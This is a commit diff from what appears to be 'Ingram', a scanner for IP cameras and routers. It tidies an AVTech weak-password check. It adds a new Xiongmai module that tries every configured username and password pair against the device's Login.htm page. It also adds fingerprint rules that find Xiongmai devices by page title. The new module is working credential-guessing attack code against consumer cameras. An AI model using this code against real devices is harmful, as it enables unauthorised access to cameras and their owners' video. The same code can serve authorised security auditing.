fix avtech, add xiongmai weakpass

Ingram/pocs/avtech-weak-password.py

@@ -21,7 +21,8 @@ class AVTechWeakPassword(POCTemplate):
         headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
         for user in self.config.users:
             for password in self.config.passwords:
-                url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={base64.b64encode(f"{user}:{password}".encode('utf8')).decode()}"
+                account = base64.b64encode(f"{user}:{password}".encode('utf8')).decode()
+                url = f"http://{ip}:{port}/cgi-bin/nobody/VerifyCode.cgi?account={account}"
                 try:
                     r = requests.get(url, headers=headers, verify=False, timeout=self.config.timeout)
                     if r.status_code == 200:

Ingram/pocs/xiongmai-weak-password.py

@@ -0,0 +1,41 @@
+import requests
+from loguru import logger
+
+from .base import POCTemplate
+
+
+class XioingmaiWeakPassword(POCTemplate):
+
+    def __init__(self, config):
+        super().__init__(config)
+        self.name = self.get_file_name(__file__)
+        self.product = config.product['xiongmai']
+        self.product_version = ''
+        self.ref = ''
+        self.level = POCTemplate.level.low
+        self.desc = 'Xiongmai 弱口令'
+
+    def verify(self, ip, port=80):
+        headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
+        for user in self.config.users:
+            for password in self.config.passwords:
+                url = f"http://{ip}:{port}/Login.htm"
+                data = {
+                    'command': 'login',
+                    'username': user,
+                    'password': password
+                }
+                try:
+                    r = requests.get(url, headers=headers, data=data, verify=False, timeout=self.config.timeout)
+                    if r.status_code == 200 and 'failed' not in r.text:
+                    # if r.status_code == 200 and len(r.text) > 5000:
+                        return ip, str(port), self.product, user, password, self.name
+                except Exception as e:
+                    logger.error(e)
+        return None
+
+    def exploit(self, results):
+        pass
+
+
+POCTemplate.register_poc(XioingmaiWeakPassword)

Ingram/rules.csv

@@ -33,4 +33,6 @@ tenda,/,title=`Tenda|登录`
 tenda,/,title=`Tenda | Web Master`
 tenda,/,title=`Tenda | Wireless Router`
 tenda,/favicon.ico,md5=`fa31b29eab2da688b11d8fafc5fc6b27`
-uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69`
+uniview,/favicon.ico,md5=`1536f25632f78fb03babedcb156d3f69`
+xiongmai,/,title=`NETSurveillance WEB`
+xiongmai,/,title=`NetSurveillance WEB`

requirements.txt

@@ -3,10 +3,10 @@ gevent
 IPy
 loguru
 lxml
-ndjson>=0.3.1
-pwn~=1.0
-pwntools>=4.3.1
-pycryptodome>=3.9.7
-pyOpenSSL>=19.1.0
-requests>=2.20.0
-tzlocal>=2.1
+ndjson
+pwn
+pwntools
+pycryptodome
+pyOpenSSL
+requests
+tzlocal